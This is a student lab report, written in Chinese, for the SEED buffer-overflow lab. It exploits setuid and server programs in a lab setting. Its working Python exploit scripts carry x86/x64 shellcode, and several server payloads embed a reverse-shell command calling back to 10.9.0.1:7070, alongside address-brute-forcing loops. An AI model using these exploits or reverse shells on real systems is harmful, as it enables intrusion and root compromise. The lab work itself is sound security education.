缓冲区溢出实验报告
stack_overflow(setuid)
环境配置
配置环境,关闭ASLR地址随机化,将/bin/sh链接到/bin/zsh(/bin/dash以及/bin/bash都实现了一种安全对策, 防止自己在Set-UID进程中执行。 基本上,如果它们检测到它们是在一个Set-UID进程中执行的, 它们会立即将有效的用户ID更改为该进程的真实用户ID, 基本上会放弃特权 )
❯ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
❯ sudo ln -sf /bin/zsh /bin/sh
Task1: 熟悉shellcode
shellcode C代码实现
:
#include <stddef.h>
void main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
shellcode 二进制代码实现
:
/* call_shellcode.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Binary code for setuid(0)
// 64-bit: "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit: "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
const char shellcode[] =
#if __x86_64__
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;
int main(int argc, char **argv)
{
char code[500];
strcpy(code, shellcode);
int (*func)() = (int(*)())code;
func();
return 1;
}
将call_shellcode.c
编译运行,可以发现会得到shell:
❯ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
❯ ./a32.out
$ ls
Makefile a32.out a64.out call_shellcode.c
$ exit
❯ ./a64.out
$ ls
Makefile a32.out a64.out call_shellcode.c
$ exit
Task2:查看漏洞程序
stack.c
:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
可以发现该程序从badfile文件中读取517字节输入,然而BUF_SIZE的长度只有100,因此如果文件内容大于100会导致栈溢出。
编译程序:将stack.c文件根据不同要求编译为四种不同保护强度的二进制可执行文件,并且修改其文件所有者为root,执行权限为setuid。
❯ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
❯ sudo ln -sf /bin/zsh /bin/sh
❯ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
[sudo] bronya 的密码:
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
Task3:攻击32位程序
gdb调试:新建badfile文件,使用gdb调试工具进行动态分析。在调试过程中在bof
函数处设置断点,使程序运行到此,查看此时寄存器ebp
和buffer
的地址,由于需要溢出的输入需要从buffer开始一直覆盖到ebp寄存器,因此需要计算两地址的差值(0x6c)。因此可以通过此来构造payload进行栈溢出攻击,使ebp指向地址覆盖为shellcode。
❯ touch badfile
❯ gdb ./stack-L1-dbg
Breakpoint 1, bof (str=0xffffccc3 "") at stack.c:20
20 strcpy(buffer, str);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*EAX 0x56558fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ec0
*EBX 0x56558fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ec0
*ECX 0x60
*EDX 0xffffcca0 —▸ 0xffffcfa4 —▸ 0xffffd18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L1-dbg'
*EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI 0xffffcfa4 —▸ 0xffffd18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L1-dbg'
*EBP 0xffffc898 —▸ 0xffffcca8 —▸ 0xffffced8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
*ESP 0xffffc820 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
*EIP 0x5655621e (bof+17) ◂— 0xff08ec83
───────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
► 0x5655621e <bof+17> sub esp, 8
0x56556221 <bof+20> push dword ptr [ebp + 8]
0x56556224 <bof+23> lea edx, [ebp - 0x6c]
0x56556227 <bof+26> push edx
0x56556228 <bof+27> mov ebx, eax
0x5655622a <bof+29> call strcpy@plt <strcpy@plt>
0x5655622f <bof+34> add esp, 0x10
0x56556232 <bof+37> mov eax, 1
0x56556237 <bof+42> mov ebx, dword ptr [ebp - 4]
0x5655623a <bof+45> leave
0x5655623b <bof+46> ret
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack.c
15 int bof(char *str)
16 {
17 char buffer[BUF_SIZE];
18
19 // The following statement has a buffer overflow problem
► 20 strcpy(buffer, str);
21
22 return 1;
23 }
24
25 int main(int argc, char **argv)
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffc820 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
01:0004│ 0xffffc824 —▸ 0x56557031 ◂— 0x3d3d3d00
02:0008│ 0xffffc828 —▸ 0xffffccb4 ◂— 0x0
03:000c│ 0xffffc82c ◂— 0x0
... ↓ 4 skipped
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x5655621e bof+17
1 0x56556342 dummy_function+58
2 0x565562da main+158
3 0xf7c21519 __libc_start_call_main+121
4 0xf7c215f3 __libc_start_main+147
5 0x5655610b _start+43
────────────────────────────────────────────────────────────────────────────────
pwndbg> p $ebp
$1 = (void *) 0xffffc898
pwndbg> p &buffer
$2 = (char (*)[100]) 0xffffc82c
pwndbg> x 0xffffc898 - 0xffffc82c
0x6c: Cannot access memory at address 0x6c
pwndbg> q
构造python脚本:根据动态调试结果构造python脚本如下,python脚本对content(即payload)变量进行三次赋值,第一次赋值为长度为517字节全\x90
,第二次将content末尾修改为shellcode,最后将rbp寄存器指向地址修改为程序原本返回的地址(防止程序在执行shellcode前因无法执行返回操作而崩溃)。注意gdb调试获取到的栈指针地址与实际运行会略有不同,因为gdb会将一些环境数据压入栈中,导致实际的栈指针变量会偏大,因此在构造payload时,ret的值并不是ebp,而是应该增大一些(>=96)。
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcd98 + 96 # Change this number
offset = 112 # Change this number
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
执行漏洞程序,获取到root权限shell
❯ python3 exploit.py
❯ ./stack-L1
Input size: 517
# whoami
root
# exit
Task4:对未知buffer大小的程序进行攻击
由于buffer大小未知,可以考虑喷射方法,将payload前若干项全部修改为要返回的地址,由于给定限定条件buffer大小位于100到200,所以可以考虑在前200+4项全部覆盖为ret_addr。这样总会将ebp地址覆盖为要返回的地址。
选择攻击stack-L2,首先进行gdb调试,获取ebp地址:
pwndbg> b bof
Breakpoint 1 at 0x1221: file stack.c, line 20.
pwndbg> r
Starting program: /home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L2-dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input size: 517
Breakpoint 1, bof (str=0xffffccc3 '\220' <repeats 112 times>, "\020\316\377\377", '\220' <repeats 84 times>...) at stack.c:20
20 strcpy(buffer, str);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*EAX 0x56558fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ec0
*EBX 0x56558fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ec0
*ECX 0x60
*EDX 0xffffcca0 —▸ 0xffffcfa4 —▸ 0xffffd18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L2-dbg'
*EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI 0xffffcfa4 —▸ 0xffffd18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L2-dbg'
*EBP 0xffffc898 —▸ 0xffffcca8 —▸ 0xffffced8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
*ESP 0xffffc7f0 ◂— 0x205
*EIP 0x56556221 (bof+20) ◂— 0xff08ec83
───────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
► 0x56556221 <bof+20> sub esp, 8
0x56556224 <bof+23> push dword ptr [ebp + 8]
0x56556227 <bof+26> lea edx, [ebp - 0xa8]
0x5655622d <bof+32> push edx
0x5655622e <bof+33> mov ebx, eax
0x56556230 <bof+35> call strcpy@plt <strcpy@plt>
0x56556235 <bof+40> add esp, 0x10
0x56556238 <bof+43> mov eax, 1
0x5655623d <bof+48> mov ebx, dword ptr [ebp - 4]
0x56556240 <bof+51> leave
0x56556241 <bof+52> ret
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack.c
15 int bof(char *str)
16 {
17 char buffer[BUF_SIZE];
18
19 // The following statement has a buffer overflow problem
► 20 strcpy(buffer, str);
21
22 return 1;
23 }
24
25 int main(int argc, char **argv)
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffc7f0 ◂— 0x205
01:0004│ 0xffffc7f4 ◂— 0x0
02:0008│ 0xffffc7f8 —▸ 0xffffc884 ◂— 0x0
03:000c│ 0xffffc7fc ◂— 0x0
04:0010│ 0xffffc800 —▸ 0xf7db68a0 (step0_jumps) ◂— 0x0
05:0014│ 0xffffc804 ◂— 0xffffffff
06:0018│ 0xffffc808 —▸ 0xf7c1aac9 ◂— 'ld-linux.so.2'
07:001c│ 0xffffc80c —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x56556221 bof+20
1 0x56556348 dummy_function+58
2 0x565562e0 main+158
3 0xf7c21519 __libc_start_call_main+121
4 0xf7c215f3 __libc_start_main+147
5 0x5655610b _start+43
────────────────────────────────────────────────────────────────────────────────
pwndbg> p $ebp
$1 = (void *) 0xffffc898
利用此信息进行喷射攻击。构造python脚本如下
exploit.py
:将payload前208项全部覆盖为ret地址,ret地址需要大于等于$ebp+232。
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffc898 + 232 # Change this number
offset = 207 # Change this number
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[0:offset + L] = (ret).to_bytes(L,byteorder='little')*52
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
结果获取到root权限的shell。
❯ python3 exploit-L2.py
❯ ./stack-L2
Input size: 514
# whoami
root
#
Task5:针对64位程序的攻击
64位程序与32位程序类似,但是由于地址前4位均为0,如果直接输入会导致strcpy函数遇\x00
截断,导致shellcode无法进栈,因此可以考虑通过将shellcode放在ret前。python脚本构造如下:
python
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 40 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffd5b0+220 # Change this number
offset = 208+8 # Change this number
L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
# content[0:offset+L] = (ret).to_bytes(L,byteorder='little')*29
content[offset:offset+L] = (ret).to_bytes(L,byteorder='little')
print((ret).to_bytes(L,byteorder='little'))
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
成功获得root权限shell:
❯ python3 exploit-L3.py
b'\x8c\xd6\xff\xff\xff\x7f\x00\x00'
❯ ./stack-L3
Input size: 517
# whoami
root
# exit
Task6:攻击64位程序(buffer很小)
由于buffer size变小,不足以插入shellcode,可以考虑利用在main函数中参数中出现的shellcode。gdb调试如下,记录shellcode的所在地址,令ret=0x7fffffffdca0 + 220
,即可成功跳转到shellcode
pwndbg> stack 70
00:0000│ rsp 0x7fffffffdab0 —▸ 0x7fffffffddf8 —▸ 0x7fffffffe18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L4-dbg'
01:0008│ 0x7fffffffdab8 ◂— 0x100000000
02:0010│ 0x7fffffffdac0 ◂— 0x9090909090909090
03:0018│ 0x7fffffffdac8 ◂— 0x9090909090909090
04:0020│ 0x7fffffffdad0 ◂— 0x7fffffffd6909090
05:0028│ 0x7fffffffdad8 ◂— 0x9090909090900000
06:0030│ 0x7fffffffdae0 ◂— 0x9090909090909090
... ↓ 55 skipped
3e:01f0│ 0x7fffffffdca0 ◂— 0x622fb84852d23148
3f:01f8│ 0x7fffffffdca8 ◂— 0x485068732f2f6e69 ('in//shPH')
40:0200│ 0x7fffffffdcb0 ◂— 0x48e689485752e789
41:0208│ 0x7fffffffdcb8 ◂— 0x9090050f3bb0c031
42:0210│ 0x7fffffffdcc0 ◂— 0x7f9090909090
43:0218│ 0x7fffffffdcc8 ◂— 0x64 /* 'd' */
44:0220│ 0x7fffffffdcd0 ◂— 0x20500001000
45:0228│ 0x7fffffffdcd8 —▸ 0x5555555592a0 ◂— 0xfbad2488
python脚本如下
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517 - 7 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffdca0 + 220 # Change this number
offset = 10+8 # Change this number
L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
# content[0:offset+L] = (ret).to_bytes(L,byteorder='little')*29
content[offset:offset+L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
成功获取root权限下的shell
❯ python3 exploit-L4.py
❯ ./stack-L4
Input size: 517
# whoami
root
# exit
Task 7:Defeating dash’s Countermeasure
输入命令改回设置
❯ sudo ln -sf /bin/dash /bin/sh
修改call_shellcode.c,将setuid的汇编代码加入到shellcode中,重新编译并运行,可以发现shell具有root权限。
❯ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
[sudo] bronya 的密码:
sudo chmod 4755 a32.out a64.out
❯ ./a32.out
sh-5.1# whoami
root
sh-5.1# exit
exit
❯ ./a64.out
sh-5.1# whoami
root
sh-5.1# exit
exit
setuid(0)汇编语言如下,可见主要操作为将real uid设置为0,即root用户的uid,这样当bash执行文件时会发现real id与拥有者id一致,因此不会限制权限。
; Invoke setuid(0): 32-bit
xor ebx, ebx ; ebx = 0: setuid()’s argument
xor eax, eax
mov al, 0xd5 ; setuid()’s system call number
int 0x80
; Invoke setuid(0): 64-bit
xor rdi, rdi ; rdi = 0: setuid()’s argument
xor rax, rax
mov al, 0x69 ; setuid()’s system call number
syscall
Task 8: Defeating Address Randomization
在32位机器上,由于栈比较小,可以通过暴力破解的方式来攻破ASLR地址随机化。
运行命令重新开启ASLR机制:
❯ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
尝试攻击stack-L1,可以发现报错,由于ASLR随机了栈基址,导致ret的值失效。
❯ python3 exploit-L1.py
❯ ./stack-L1
Input size: 517
[1] 12494 segmentation fault (core dumped) ./stack-L1
使用暴力破解的方式来尝试攻击,运行脚本,由于随机性较强,没有解出:
![暴力破解](/img/posts/2023-10-25-【SEED_Lab】缓冲区溢出实验报告/images_
setuid/暴力破解.png)
暴力破解脚本如下,主要执行了循环进行攻击的操作。
brute_force.sh
#!/bin/bash
SECONDS=0
value=0
while true; do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack-L1
done
Task 9:Experimenting with Other Countermeasures
-
Task 9.a: Turn on the StackGuard Protection
开启StackGuard防护。使用gcc命令重新编译stack-L1,尝试进行攻击
❯ ./stack Input size: 517 *** stack smashing detected ***: terminated [1] 19472 IOT instruction (core dumped) ./stack
可以发现,stack smashing detected,表明检测到栈溢出,自动停止程序运行。
-
Task 9.b: Turn on the Non-executable Stack Protection
开启DEP防护,重新编译a32out,a64out,查看结果,发现无法弹出shell,说明数据段中代码不可执行,无法成功攻击。
❯ gcc -DBUF_SIZE=100 -m32 -o a32.out -fno-stack-protector call_shellcode.c ❯ gcc -DBUF_SIZE=100 -m64 -o a64.out -fno-stack-protector call_shellcode.c ❯ sudo chmod 4755 a32.out [sudo] bronya 的密码: ❯ sudo chmod 4755 a64.out ❯ sudo chown root a32.out ❯ sudo chown root a64.out ❯ ./a64.out [1] 25967 segmentation fault (core dumped) ./a64.out ❯ ./a32.out [1] 26060 segmentation fault (core dumped) ./a32.out
stack-overflow(Server)
环境配置
关闭ASLR
sudo /sbin/sysctl -w kernel.randomize_va_space=0
漏洞程序分析,程序中bof函数存在漏洞,原理同stack-overflow(setuid)。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str); P
return 1;
}
int main(int argc, char **argv)
{
char str[517];
int length = fread(str, sizeof(char), 517, stdin);
bof(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}
编译程序:
❯ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -fno-stack-protector -static -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -static -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=200 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L4 stack.c
❯ make install
cp server ../bof-containers
cp stack-* ../bof-containers
建立docker镜像:
Task 1:Get Familiar with the Shellcode
shellcode基本原理为执行命令”/bin/sh”,从而获取shell
shellcode_32.py, shellcode_64.py运行,编译call_shellcode.c,运行文件,执行codefile
修改shellcode_32.py,使其codefile可以删除文件(shellcode_64同理):
Task 2:Level-1 Attack
使用echo hello | nc 10.9.0.5 9090
命令连接server1 9090端口,建立TCP连接后服务端会自动运行stack程序。
根据ebp地址和buffer地址,构造python脚本如下:
#!/usr/bin/python3
import sys
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffd7e8 # Change this number
offset = 0xffffd7e8 - 0xffffd778 + 4 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
结果成功获取到root权限shell。
Task 3:Level-2 Attack
buffer大小未知,可以通过喷射法来填充大量地址。
向server2发送nc连接请求,获取到buffer地址
构造python脚本:
#!/usr/bin/python3
import sys
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffd728 + start # Change this number
offset = 300 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[0:offset + 4] = (ret).to_bytes(4,byteorder='little')*76
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
获取到shell
Task 4:Level-3 Attack
向server3发送nc连接请求,发现可以看到rbp和buffer地址。通过将shellcode放在ret前解决。
构造python脚本如下,已知rbp和buffer地址,将shellcode放在前面即可,此处直接设置start为0:
#!/usr/bin/python3
import sys
shellcode = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1 *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 0 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffe650 # Change this number
offset = 0x7fffffffe720 - 0x7fffffffe650 + 8 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
获取到root权限的shell:
Task 5:Level-4 Attack
向server4发送nc连接请求,但是buffer size很小,由返回结果可知buffer size为0x60,为96长度,小于shellcode长度,因此考虑使用main函数fread参数的shellcode,由于地址离rbp较远且无法得知,因此尝试遍历爆破出结果,此处应尽量保证shellcode前有尽可能多的nop指令,所以start可以设置为末尾。
构造python脚本如下,使用循环向server4发送请求:
#!/usr/bin/python3
import sys
import os
shellcode = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1 *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffe650 # Change this number
offset = 0x60 + 8 # Change this number
for i in range(0, 100):
ret += 40
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
print(f"ret: {ret}")
print(os.system("cat badfile | nc 10.9.0.8 9090"))
python运行如下,结果会停在某个地址,表示在此ret地址下可以成功建立连接。
获取server4 root权限shell:
Task 6: Experimenting with the Address Randomization
开启ASLR机制后,向server1和server2发送echo hello | nc 10.9.0.* 9090
请求,查看rbp和buffer地址。
server1
server2
可以看出rbp和buffer地址每次都会改变,即ASLR机制会在程序加载时随机化程序在内存地址
尝试暴力破解:(运行17分钟没有爆破成功…)
Tasks 7: Experimenting with Other Countermeasures
-
Task 7.a: Turn on the StackGuard Protection
setuid实验已完成此项重复内容,此处不在赘述
-
Task 7.b: Turn on the Non-executable Stack Protection
setuid实验已完成此项重复内容,此处不在赘述